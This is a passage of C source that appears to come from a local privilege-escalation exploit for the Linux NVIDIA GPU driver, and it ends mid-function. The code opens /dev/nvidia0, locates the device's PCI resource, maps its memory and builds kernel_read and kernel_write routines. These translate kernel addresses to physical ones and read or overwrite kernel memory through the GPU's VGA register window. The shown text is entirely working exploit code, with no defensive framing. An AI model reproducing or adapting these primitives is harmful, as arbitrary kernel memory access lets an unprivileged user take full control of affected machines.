unsigned long virt2phys(unsigned long addr)
{
unsigned long phys;
addr &= ~KERNEL_BASE;
addr += kernel_ofs_phys;
phys = addr & 0xffffffff;
return phys;
}
// dest has to be 16-byte and slightly larger for unaligned reads
void *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len)
{
uint32_t rem, phys = virt2phys(src);
void *ret = dest + (src & 0xf);
rem = (-phys) & 0xf;
if (rem) {
physread16(m, phys & ~0xf, dest);
dest += 0x10;
phys += rem;
if (len > rem)
len -= rem;
else
len = 0;
}
for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len)
physread16(m, phys, dest);
return ret;
}
void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len)
{
uint32_t phys;
unsigned long remaining, towrite, i;
phys = virt2phys(dest);
if (!m || m == MAP_FAILED)
puts("not actually writing...");
if (1) {
remaining = len;
for (i = 0; i < len; i += 16) {
uint32_t buffer[4];
if (remaining < 16)
physread16(m, phys + i, (uint32_t*)buffer);
towrite = remaining > 16 ? 16 : remaining;
memcpy(buffer, (void*)(src + i), towrite);
physwrite16(m, phys + i, (uint32_t*)buffer);
remaining -= 16;
}
}
}
static void mode_x(volatile uint32_t *x) {
// Mode X
// 3c0
x[0x310/4] = 0x000f0041;
x[0x314/4] = 0;
// 3c2
x[0x000/4] = 0xe3;
// 3c4
x[0x100/4] = 0x000f0103;
x[0x104/4] = 0x06;
// 3ce
x[0x204/4] = 0x0f054000;
// 3d4
x[0x400/4] = 0x82504f5f;
x[0x404/4] = 0x3e0d8054;
poke_byte(x, 0x408, 0);
poke_byte(x, 0x409, 0x41);
x[0x410/4] = 0x28dfacea;
x[0x414/4] = 0xe306e700;
}
static int dirfilter(const struct dirent *d) {
return d->d_type == DT_LNK && strchr(d->d_name, ':');
}
static int nvidia_fd(uint64_t *res) {
struct dirent **list;
int fd, resfd, ret;
char buf[256];
ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
if (ret <= 0)
goto fail;
sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
resfd = open(buf, O_RDONLY);
if (resfd < 0)
goto fail;
read(resfd, buf, sizeof(buf));
*res = strtoll(buf, NULL, 16);
close(resfd);
if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)
goto fail;
return fd;
fail:
perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
*res = 0;
return -1;
}
volatile uint32_t *nvidia_handle(int fd, uint64_t res) {
// access 4 bytes at a time or things go weird
volatile uint32_t *m;
if (fd < 0)
return MAP_FAILED;